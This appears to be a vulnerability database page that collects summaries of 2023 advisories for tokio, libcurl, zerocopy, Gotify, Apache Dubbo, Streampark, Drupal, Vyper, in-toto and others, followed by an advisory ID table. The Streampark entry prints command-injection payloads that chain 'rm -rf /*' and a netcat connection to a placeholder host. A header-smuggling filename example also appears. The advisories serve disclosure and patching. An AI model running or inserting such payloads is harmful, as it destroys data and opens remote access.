`tokio::io::ReadHalf<T>::unsplit` can violate the `Pin` contract

The soundness issue is described in the [tokio/issues#5372](https://github.com/tokio-rs/tokio/issues/5372)

Specific set of conditions needed to trigger an issue (a !Unpin type in ReadHalf)
is unusual, combined with the difficulty of making any arbitrary use-after-free
exploitable in Rust without doing a lot of careful alignment of data types in
the surrounding code.

The `tokio` feature `io-util` is also required to be enabled to trigger this
soundness issue.

Thanks to zachs18 reporting the issue to Tokio team responsibly and taiki-e
and carllerche appropriately responding and fixing the soundness bug.

Tokio before 0.2.0 used `futures` 0.1 that did not have `Pin`, so it is not
affected by this issue.

libcurl offers a feature to verify an SSH server's public key using a SHA 256
hash. When this check fails, libcurl would free the memory for the fingerprint
before it returns an error message containing the (now freed) hash.

This flaw risks inserting sensitive heap-based data into the error message
that might be shown to users or otherwise get leaked and revealed.

When doing HTTP(S) transfers, libcurl might erroneously use the read callback
(`CURLOPT_READFUNCTION`) to ask for data to send, even when the
`CURLOPT_POSTFIELDS` option has been set, if the same handle previously was
used to issue a `PUT` request which used that callback.

This flaw may surprise the application and cause it to misbehave and either
send off the wrong data or use memory after free or similar in the second
transfer.

The problem exists in the logic for a reused handle when it is (expected to
be) changed from a PUT to a POST.

curl supports matching of wildcard patterns when listed as "Subject
Alternative Name" in TLS server certificates. curl can be built to use its own
name matching function for TLS rather than one provided by a TLS library. This
private wildcard matching function would match IDN (International Domain Name)
hosts incorrectly and could as a result accept patterns that otherwise should
mismatch.

IDN hostnames are converted to puny code before used for certificate
checks. Puny coded names always start with `xn--` and should not be allowed to
pattern match, but the wildcard check in curl could still check for `x*`,
which would match even though the IDN name most likely contained nothing even
resembling an `x`.

The `Ref` methods `into_ref`, `into_mut`, `into_slice`, and `into_slice_mut` are unsound
and may allow safe code to exhibit undefined behavior when used with `Ref<B, T>` where `B`
is [`cell::Ref`](https://doc.rust-lang.org/core/cell/struct.Ref.html) or
[`cell::RefMut`](https://doc.rust-lang.org/core/cell/struct.RefMut.html). Note that these
methods remain sound when used with `B` types other than `cell::Ref` or `cell::RefMut`.

See https://github.com/google/zerocopy/issues/716 for a more in-depth analysis.

The current plan is to yank the affected versions soon. See
https://github.com/google/zerocopy/issues/679 for more detail.

libcurl provides several different backends for resolving hostnames, selected
at build time. If it is built to use the synchronous resolver, it allows name
resolves to time-out slow operations using `alarm()` and `siglongjmp()`.

When doing this, libcurl used a global buffer that was not mutex protected and
a multi-threaded application might therefore crash or otherwise misbehave.

### Impact

Gotify exposes an outdated instance of the [Swagger UI](https://swagger.io/tools/swagger-ui/) API documentation frontend at `/docs` which is susceptible to reflected XSS attacks when loading external Swagger config files.

Specifically, the DOMPurify version included with this version of Swagger UI is vulnerable to a [rendering XSS](https://www.vidocsecurity.com/blog/hacking-swagger-ui-from-xss-to-account-takeovers/) incorporating the mutation payload detailed in [CVE-2020-26870](https://research.securitum.com/mutation-xss-via-mathml-mutation-dompurify-2-0-17-bypass/) which was patched in 2021. This is further tracked in the GitHub Advisory Database as GHSA-QRMM-W75W-3WPX.

An attacker can execute arbitrary JavaScript and potentially take over the account of the user that clicked the link. Keep in mind, the Gotify UI won't natively expose such a malicious link, so an attacker has to get the user to open the malicious link in a context outside of Gotify.

### Patches

The vulnerability has been fixed in version 2.2.3.

### References

https://github.com/gotify/server/pull/541

Bludit v3.14.1 is vulnerable to Stored Cross Site Scripting (XSS) via SVG file on site logo. NOTE: the product's security model is that users are trusted by the administrator to insert arbitrary content (users cannot create their own accounts through self-registration).

The email module of Python through 3.11.3 incorrectly parses e-mail addresses that contain a special character. The wrong portion of an RFC2822 header is identified as the value of the addr-spec. In some applications, an attacker can bypass a protection mechanism in which application access is granted only after verifying receipt of e-mail to a specific domain (e.g., only @company.example.com addresses may be used for signup). This occurs in email/_parseaddr.py in recent versions of Python.

Weak Password Requirements in GitHub repository modoboa/modoboa prior to 2.1.0.

An out-of-bounds read in Organization Specific TLV was found in various versions of OpenvSwitch.

A SQL injection vulnerability in Grzegorz Marczynski Dynamic Progress Bar (aka web_progress) v. 11.0 through 11.0.2, v12.0 through v12.0.2, v.13.0 through v13.0.2, v.14.0 through v14.0.2.1, v.15.0 through v15.0.2, and v16.0 through v16.0.2.1 allows a remote attacker to gain privileges via the recency parameter in models/web_progress.py component.

app/Controller/AuditLogsController.php in MISP before 2.4.182 mishandles ACLs for audit logs.

An integer underflow in Organization Specific TLV was found in various versions of OpenvSwitch.

### Impact
XSS, anyone using the SPS Select with options prop populated from user input is impacted. If these options are stored, then it could have been a stored XSS. 

### Patches
The code has been patched for version 7 of woodland. Users should upgrade to 7.17.4 or higher

### Workarounds
This is not recommended. If you are not upgrading then you would need to sanitize your options yourself (including those currently stored in databases). This is not recommended.

### References
https://github.com/SPSCommerce/woodland/blob/c49e999f97f3c0b56502859f4de1e8c6666dd74d/packages/ds-react/src/option-list/SpsOptionList.tsx#L559


*This advisory is also published as [RUSTSEC-2023-0074](https://rustsec.org/advisories/RUSTSEC-2023-0074.html).*

The `Ref` methods `into_ref`, `into_mut`, `into_slice`, and `into_slice_mut` are unsound and may allow safe code to exhibit undefined behavior when used with `Ref<B, T>` where `B` is [`cell::Ref`](https://doc.rust-lang.org/core/cell/struct.Ref.html) or [`cell::RefMut`](https://doc.rust-lang.org/core/cell/struct.RefMut.html). Note that these methods remain sound when used with `B` types other than `cell::Ref` or `cell::RefMut`.

See https://github.com/google/zerocopy/issues/716 for a more in-depth analysis.

The current plan is to yank the affected versions soon. See https://github.com/google/zerocopy/issues/679 for more detail.


A deserialization vulnerability existed when decode a malicious package.This issue affects Apache Dubbo: from 3.1.0 through 3.1.10, from 3.2.0 through 3.2.4.

Users are recommended to upgrade to the latest version, which fixes the issue.

Deserialization of Untrusted Data vulnerability in Apache Dubbo.This issue only affects Apache Dubbo 3.1.5.

Users are recommended to upgrade to the latest version, which fixes the issue.

In streampark, there is a project module that integrates Maven's compilation capability. However, there is no check on the compilation parameters of Maven. allowing attackers to insert commands for remote command execution, The prerequisite for a successful attack is that the user needs to log in to the streampark system and have system-level permissions. Generally, only users of that system have the authorization to log in, and users would not manually input a dangerous operation command. Therefore, the risk level of this vulnerability is very low.

Mitigation:

all users should upgrade to 2.1.2

Example:

##You can customize the splicing method according to the compilation situation of the project, mvn compilation results use &&, compilation failure use "||" or "&&":

/usr/share/java/maven-3/conf/settings.xml || rm -rf /*

/usr/share/java/maven-3/conf/settings.xml && nohup nc x.x.x.x 8899 &



In the Streampark platform, when users log in to the system and use certain features, some pages provide a name-based fuzzy search, such as job names, role names, etc. The sql syntax :select * from table where jobName like '%jobName%'. However, the jobName field may receive illegal parameters, leading to SQL injection. This could potentially result in information leakage.

Mitigation:

Users are recommended to upgrade to version 2.1.2, which fixes the issue.



Concrete CMS (previously concrete5) in versions 9.0 through 9.1.3 is vulnerable to Stored XSS on Tags on uploaded files.

Working with specific payloads can cause a Denial of Service (DoS) vector.

Both `Decompress` and `Compress` implementations can enter into infinite loops
given specific payloads entered that trigger it.

The issue is described in great detail in the [bzip2 repository issue](https://github.com/alexcrichton/bzip2-rs/pull/86).

Thanks to bjrjk for finding and providing the patch for the issue and the
maintainer responsibly responding to release a fix quickly.

Users who use the crate with untrusted data should update the `bzip2` to 0.4.4.

Affected versions of the crate have several bugs where
attacker-controlled input can result in the use of an out-of-bound
array index.  Rust detects the use of the out-of-bound index and
causes the application to panic.  An attacker may be able to use this
to cause a denial-of-service.  However, it is not possible for an
attacker to read from or write to the application's address space.

Affected versions of the crate have a bug where attacker-controlled
input can result in the use of an out-of-bound array index.  Rust
detects the use of the out-of-bound index and causes the application
to panic.  An attacker may be able to use this to cause a
denial-of-service.  However, it is not possible for an attacker to
read from or write to the application's address space.

This crate has been forked/renamed from `xsalsa20poly1305` to `crypto_secretbox`.

The new repository location is at:

<https://github.com/RustCrypto/nacl-compat/tree/master/crypto_secretbox>

An unauthenticated attacker can obtain arbitrary permissions within the application under certain conditions.

libspreadsheet-parseexcel-perl - security update

Crypto++ (aka cryptopp) through 8.9.0 has a Marvin side channel during decryption with PKCS#1 v1.5 padding.

gf2n.cpp in Crypto++ (aka cryptopp) through 8.9.0 allows attackers to cause a denial of service (application crash) via DER public-key data for an F(2^m) curve, if the degree of each term in the polynomial is not strictly decreasing.

Given the function `transpose::transpose`:
```rust
fn transpose<T: Copy>(input: &[T], output: &mut [T], input_width: usize, input_height: usize)
```

The safety check `input_width * input_height == output.len()` can fail due to `input_width * input_height` overflowing in such a way that it equals `output.len()`.
As a result of failing the safety check, memory past the end of `output` is written to. This only occurs in release mode since `*` panics on overflow in debug mode.

Exploiting this issue requires the caller to pass `input_width` and `input_height` arguments such that multiplying them overflows, and the overflown result equals the lengths of input and output slices.

sqlparse is a non-validating SQL parser module for Python. In affected versions the SQL parser contains a regular expression that is vulnerable to ReDoS (Regular Expression Denial of Service). This issue was introduced by commit `e75e358`. The vulnerability may lead to Denial of Service (DoS). This issues has been fixed in sqlparse 0.4.4 by commit `c457abd5f`. Users are advised to upgrade. There are no known workarounds for this issue.


A flaw was found in LibRaw. A heap-buffer-overflow in raw2image_ex() caused by a maliciously crafted file may lead to an application crash.

The `Ref` methods `into_ref`, `into_mut`, `into_slice`, and `into_slice_mut` are unsound and may allow safe code to exhibit undefined behavior when used with `Ref<B, T>` where `B` is [`cell::Ref`](https://doc.rust-lang.org/core/cell/struct.Ref.html) or [`cell::RefMut`](https://doc.rust-lang.org/core/cell/struct.RefMut.html). Note that these methods remain sound when used with `B` types other than `cell::Ref` or `cell::RefMut`.

See https://github.com/google/zerocopy/issues/716 for a more in-depth analysis.

The current plan is to yank the affected versions soon. See https://github.com/google/zerocopy/issues/679 for more detail.


Planet is software that provides satellite data. The secret file stores the user's Planet API authentication information. It should only be accessible by the user, but before version 2.0.1, its permissions allowed the user's group and non-group to read the file as well. This issue was patched in version 2.0.1. As a workaround, set the secret file permissions to only user read/write by hand.


A protocol weakness allows a MITM attacker to compromise the integrity of the secure channel before it is established, allowing the attacker to prevent transmission of a number of messages immediately after the secure channel is established without either side being aware.

The impact of this attack is relatively limited, as it does not compromise confidentiality of the channel. Notably this attack would allow an attacker to prevent the transmission of the SSH2_MSG_EXT_INFO message, disabling a handful of newer security features.

This protocol weakness was also fixed in OpenSSH 9.6.

The file download facility doesn't sufficiently sanitize file paths in certain situations. This may result in users gaining access to private files that they should not have access to.

Some sites may require configuration changes following this security release. Review the release notes for your Drupal version if you have issues accessing private files after updating.

This advisory **is** covered by [Drupal Steward](/steward). Because this vulnerability is not mass exploitable, your Steward partner may respond by monitoring-only, rather than enforcing a new WAF rule.

We would normally not apply for a release of this severity. However, in this case we have chosen to apply Drupal Steward security coverage to test our processes.

#### Drupal 7

* All Drupal 7 sites on Windows web servers are vulnerable.
* Drupal 7 sites on Linux web servers are vulnerable with certain file directory structures, or if a vulnerable contributed or custom file access module is installed.

#### Drupal 9 and 10

Drupal 9 and 10 sites are only vulnerable if certain contributed or custom file access modules are installed.

Cross Site Request Forgery (CSRF) vulnerability in Phpsysinfo version 3.4.3 allows a remote attacker to obtain sensitive information via a crafted page in the XML.php file.

Strapi 3.2.1 until 4.6.0 does not verify the access or ID tokens issued during the OAuth flow when the AWS Cognito login provider is used for authentication. A remote attacker could forge an ID token that is signed using the 'None' type algorithm to bypass authentication and impersonate any user that use AWS Cognito for authentication.



Netflix Lemur before version 1.3.2 used insufficiently random values when generating default credentials. The insufficiently random values may allow an attacker to guess the credentials and gain access to resources managed by Lemur.




Vyper is a Pythonic smart contract language for the Ethereum virtual machine. Prior to version 0.3.8, internal calls with default arguments are compiled incorrectly. Depending on the number of arguments provided in the call, the defaults are added not right-to-left, but left-to-right. If the types are incompatible, typechecking is bypassed. The ability to pass kwargs to internal functions is an undocumented feature that is not well known about. The issue is patched in version 0.3.8.

Vyper is a Pythonic smart contract language for the Ethereum virtual machine. Prior to version 0.3.8, due to missing overflow check for loop variables, by assigning the iterator of a loop to a variable, it is possible to overflow the type of the latter. The issue seems to happen only in loops of type `for i in range(a, a + N)` as in loops of type `for i in range(start, stop)` and `for i in range(stop)`, the compiler is able to raise a `TypeMismatch` when trying to overflow the variable. The problem has been patched in version 0.3.8.

Vyper is a Pythonic smart contract language for the Ethereum virtual machine. Prior to version 0.3.8, during codegen, the length word of a dynarray is written before the data, which can result in out-of-bounds array access in the case where the dynarray is on both the lhs and rhs of an assignment. The issue can cause data corruption across call frames. The expected behavior is to revert due to out-of-bounds array access. Version 0.3.8 contains a patch for this issue.

### Impact

This security advisory lists multiple concerns about how in-toto uses PGP keys. The findings are aggregated here, because they are all eligible to the same mitigation strategy. Note that the findings are rated with different severities (see inline) and the highest score was chosen for this advisory:

- **PGP Key Creation Time Not Validated** (severity: low)
  in-toto does not check, if the validity period of a PGP Key (starting with the key creation time) is in the future, when copying the key from GnuPG to a layout, or when verifying signatures. A validity period in the future is usually a sign of a wrong system clock, meaning it can’t be trusted for verifying the validity period. A MITM attacker who is able to manipulate delivered software products might also be able to control the system time by manipulating NTP. In a scenario where an attacker gained control over two expired subkeys with no overlapping validity period, the attacker could set the system time to a time before the validity period of either key, resulting in both keys being accepted.

- **PGP Key Revocation Not Considered** (severity: medium)
 in-toto does not check PGP revocation signatures, when copying the key from GnuPG to a layout, or when verifying signatures. This means that a key may still be accepted in signatures, even if it has been revoked in GnuPG.

- **PGP Key Usage Flags Not Considered** (severity: low)
  in-toto does not check PGP usage flags, when copying the key from GnuPG to a layout, or when verifying signatures. This means that at a key may still be accepted in signatures, even if it is not permitted to sign data as per its key usage flags.


Security auditors recommend to verify these properties at signature verification time.

However, this is not planned, as in-toto does not rely on PGP’s trust model, because it should not be required to consult with a separate PKI/web-of-trust at verification time. Instead the project owner establishes ultimate trust by adding a PGP public key to a layout, and thus is responsible for its validity, and also to revoke the layout, if the key is no longer trusted. The same is true for PGP public keys used to verify a layout.

The preferred mitigation strategy is to verify these properties when exporting a public key from GnuPG, and to clarify usage documentation that no verification against the PGP trust model is performed afterwards.

### References
- "Handle GPG revocation signatures" -- https://github.com/secure-systems-lab/securesystemslib/issues/190
- "inconsistent use of GnuPG" -- https://github.com/in-toto/in-toto/issues/569



Applications which spawn a Toast notification in a background thread may have obscured fullscreen notifications displayed by Firefox. 
*This issue only affects Android versions of Firefox and Firefox Focus.* This vulnerability affects Firefox < 121.

The filename parameter of the Context.FileAttachment function is not properly sanitized. A maliciously crafted filename can cause the Content-Disposition header to be sent with an unexpected filename value or otherwise modify the Content-Disposition header. For example, a filename of "setup.bat&quot;;x=.txt" will be sent as a file named "setup.bat".

If the FileAttachment function is called with names provided by an untrusted source, this may permit an attacker to cause a file to be served with a name different than provided. Maliciously crafted attachment file name can modify the Content-Disposition header.

CVE ID↕	Published↕	CVSS↓
RUSTSEC-2023-0005	Jan 11, 2023	N/A
CURL-CVE-2023-28319	May 17, 2023	N/A
CURL-CVE-2023-28322	May 17, 2023	N/A
CURL-CVE-2023-28321	May 17, 2023	N/A
RUSTSEC-2023-0074	Dec 14, 2023	N/A
DLA-3268-1	Jan 11, 2023	N/A
CURL-CVE-2023-28320	May 17, 2023	N/A
DLA-3267-1	Jan 11, 2023	N/A
DLA-3266-1	Jan 11, 2023	N/A
DSA-5314-1	Jan 11, 2023	N/A
DSA-5315-1	Jan 11, 2023	N/A
DSA-5316-1	Jan 11, 2023	N/A
GHSA-3244-8mff-w398	Jan 10, 2023	N/A
DLA-3393-1	Apr 18, 2023	N/A
DLA-3426-1	May 17, 2023	N/A
DSA-5404-1	May 17, 2023	N/A
CVE-2023-31698	May 17, 2023	N/A
PSF-2023-2	Apr 18, 2023	N/A
PYSEC-2023-34	Apr 18, 2023	N/A
CVE-2022-4337	Jan 10, 2023	N/A
DLA-3265-1	Jan 10, 2023	N/A
CVE-2023-40954	Dec 15, 2023	N/A
CVE-2023-50918	Dec 15, 2023	N/A
DSA-5578-1	Dec 15, 2023	N/A
DLA-3264-1	Jan 10, 2023	N/A
CVE-2022-4338	Jan 10, 2023	N/A
GHSA-cfxh-frx4-9gjg	Dec 15, 2023	N/A
DSA-5312-1	Jan 10, 2023	N/A
DSA-5313-1	Jan 10, 2023	N/A
GHSA-3mv5-343c-w2qg	Dec 15, 2023	N/A
CVE-2023-29234	Dec 15, 2023	N/A
CVE-2023-46279	Dec 15, 2023	N/A
CVE-2023-49898	Dec 15, 2023	N/A
CVE-2023-30867	Dec 15, 2023	N/A
GHSA-qg44-xqwj-wc28	Dec 15, 2023	N/A
CVE-2023-28476	Apr 28, 2023	N/A
RUSTSEC-2023-0004	Jan 9, 2023	N/A
RUSTSEC-2023-0038	May 16, 2023	N/A
RUSTSEC-2023-0039	May 16, 2023	N/A
RUSTSEC-2023-0037	May 16, 2023	N/A
DLA-3690-1	Dec 16, 2023	N/A
DLA-3425-1	May 16, 2023	N/A
DLA-3424-1	May 16, 2023	N/A
DLA-3263-1	Jan 9, 2023	N/A
GO-2023-2400	Dec 16, 2023	N/A
DLA-3701-1	Dec 31, 2023	N/A
DLA-3702-1	Dec 31, 2023	N/A
DSA-5576-2	Dec 17, 2023	N/A
DLA-3686-2	Dec 17, 2023	N/A
DSA-5579-1	Dec 17, 2023	N/A
DLA-3691-1	Dec 18, 2023	N/A
CVE-2023-50979	Dec 18, 2023	N/A
CVE-2023-50980	Dec 18, 2023	N/A
DSA-5580-1	Dec 18, 2023	N/A
DSA-5311-1	Jan 8, 2023	N/A
RUSTSEC-2023-0080	Dec 18, 2023	N/A
PYSEC-2023-87	Apr 18, 2023	N/A
DLA-3395-1	Apr 19, 2023	N/A
DLA-3394-1	Apr 19, 2023	N/A
CVE-2023-1729	May 15, 2023	N/A
GHSA-rjhf-4mh8-9xjq	Dec 18, 2023	N/A
DLA-3421-1	May 15, 2023	N/A
DLA-3422-1	May 15, 2023	N/A
DLA-3423-1	May 15, 2023	N/A
DLA-3420-1	May 14, 2023	N/A
DSA-5403-1	May 14, 2023	N/A
DSA-5402-1	May 13, 2023	N/A
PYSEC-2023-71	May 12, 2023	N/A
GO-2023-2402	Dec 18, 2023	N/A
DRUPAL-CORE-2023-005	Apr 19, 2023	N/A
CVE-2023-49006	Dec 19, 2023	N/A
DLA-3692-1	Dec 19, 2023	N/A
GHSA-583x-23h9-f5w7	Apr 19, 2023	N/A
PYSEC-2023-20	Apr 19, 2023	N/A
DLA-3419-1	May 12, 2023	N/A
PYSEC-2023-79	May 11, 2023	N/A
PYSEC-2023-78	May 11, 2023	N/A
PYSEC-2023-77	May 11, 2023	N/A
GHSA-jjgp-whrp-gq8m	May 11, 2023	N/A
CVE-2023-6870	Dec 19, 2023	N/A
DSA-5391-1	Apr 20, 2023	N/A
GO-2023-1737	May 11, 2023	N/A

Know every vulnerability
before it knows you.

2023 CVE Vulnerabilities — DevGuard Vulnerability Database

Know every vulnerabilitybefore it knows you.

2023 CVE Vulnerabilities — DevGuard Vulnerability Database

Know every vulnerability
before it knows you.